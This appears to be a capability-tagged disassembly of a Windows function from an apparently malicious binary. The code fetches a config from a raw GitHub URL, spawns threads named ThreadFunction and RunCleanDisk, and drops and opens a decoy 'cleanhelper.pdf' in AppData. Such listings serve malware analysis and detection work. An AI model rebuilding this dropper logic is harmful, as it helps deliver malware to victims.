Function at 0x140008380
Capabilities:
Create process on windows
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xor r14d, r14d
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
lea ecx, [r14 + 0x20]
call fcn.14003c960
mov rdx, rax
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x49], 0x1b
mov qword [rbp - 0x41], 0x1f
movups xmm0, xmmword [str.if_check_compatability____]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140079f30]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140079f38]
mov word [rax + 0x18], cx
movzx eax, byte [0x140079f3a]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], r14b
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x14000843b
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008436
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a48
call fcn.14003c958
call fcn.1400127a0
test al, al
je 0x140008a0d
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r14
mov qword [rbp - 1], r14
mov r8d, 0x46
lea rdx, str.https:__raw.githubusercontent.com_xrails365_abdtools_main_cfg_abd.json
lea rcx, [rbp - 0x19]
call fcn.140010020
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.140006350
nop
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x79]
call fcn.14000c120
mov rcx, rax
call fcn.140008120
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov ecx, 0x50
call fcn.14003c960
mov rcx, rax
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x69], 0x47
mov qword [rbp - 0x61], 0x4f
movaps xmm0, xmmword [str.HANDLE_threadHandle__CreateThread_NULL__0__ThreadFunction__0__0__NULL_]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140079f50]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140079f60]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140079f70]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x140079f80]
mov dword [rcx + 0x40], eax
movzx eax, word [0x140079f84]
mov word [rcx + 0x44], ax
movzx eax, byte [0x140079f86]
mov byte [rcx + 0x46], al
mov byte [rcx + 0x47], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x14000854c
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008547
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a4e
call fcn.14003c958
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140007d20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400127a0
test al, al
jne 0x140008597
lea rdx, str.Not_compatable_
lea rcx, [0x1400892b0]
call fcn.14000fad0
mov rcx, rax
call fcn.14000fd80
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov ecx, 0x40
call fcn.14003c960
mov rcx, rax
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x69], 0x3e
mov qword [rbp - 0x61], 0x3f
movups xmm0, xmmword [str.threadHandle__CreateThread_NULL__0__RunCleanDisk__0__0__NULL_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140079fb0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140079fc0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140079fd0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x140079fd8]
mov dword [rcx + 0x38], eax
movzx eax, word [0x140079fdc]
mov word [rcx + 0x3c], ax
mov byte [rcx + 0x3e], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x14000864b
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008646
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a54
call fcn.14003c958
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140007e70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400127a0
test al, al
jne 0x140008696
lea rdx, str.Not_compatable_
lea rcx, [0x1400892b0]
call fcn.14000fad0
mov rcx, rax
call fcn.14000fd80
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], 0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov ecx, 0x20
call fcn.14003c960
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x69], 0x16
mov qword [rbp - 0x61], 0x1f
movups xmm0, xmmword [str.resorce_to_file_PDF...]
movups xmmword [rax], xmm0
mov ecx, dword [0x140079ff0]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140079ff4]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x140008738
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008733
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a5a
call fcn.14003c958
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov ecx, 0x30
call fcn.14003c960
mov rdx, rax
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x69], 0x2f
mov qword [rbp - 0x61], 0x2f
movups xmm0, xmmword [str...LocalMicrosoftWindowsAppscleanhelper.pdf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14007a008]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14007a018]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x14007a020]
mov dword [rdx + 0x28], eax
movzx eax, word [0x14007a024]
mov word [rdx + 0x2c], ax
movzx eax, byte [0x14007a026]
mov byte [rdx + 0x2e], al
mov byte [rdx + 0x2f], 0
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x79]
call fcn.140006e20
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov ecx, 0x30
call fcn.14003c960
mov rcx, rax
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x69], 0x2f
mov qword [rbp - 0x61], 0x2f
movups xmm0, xmmword [str...LocalMicrosoftWindowsAppscleanhelper.pdf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14007a008]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14007a018]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x14007a020]
mov dword [rcx + 0x28], eax
movzx eax, word [0x14007a024]
mov word [rcx + 0x2c], ax
movzx eax, byte [0x14007a026]
mov byte [rcx + 0x2e], al
mov byte [rcx + 0x2f], 0
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x59]
call fcn.140006cb0
nop
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae r8, qword [rbp - 0x59]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov rsi, 0xffffffffffffffff
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14003cbec
mov rdi, rax
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae r8, qword [rbp - 0x59]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rdi
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140016098
mov rbx, rax
call fcn.14001607c
cmp rbx, 0x989680
jne 0x1400088f8
imul rax, rax, 0x64
jmp 0x140008913
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffb16b6eb0ffff
cmp rax, rcx
jge 0x140008935
movabs rcx, 0x4e94914f0000
add rcx, rax
mov qword [rbp + 0x77], rcx
jmp 0x140008943
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x77], rax
lea rcx, [rbp + 0x77]
call fcn.1400119e0
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x140008988
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008983
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a60
call fcn.14003c958
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x1400089d4
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a66
call fcn.14003c958
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140008a28
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a42
call fcn.14003c958
jmp 0x140008a28
lea rdx, str.All_good._Exit.
lea rcx, [0x1400892b0]
call fcn.14000fad0
mov rcx, rax
call fcn.14000fd80
xor eax, eax
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140048870
int3
call fcn.140048870
nop
call fcn.140048870
nop
call fcn.140048870
nop
call fcn.140048870
int3
call fcn.140048870
nop
call fcn.140048870
int3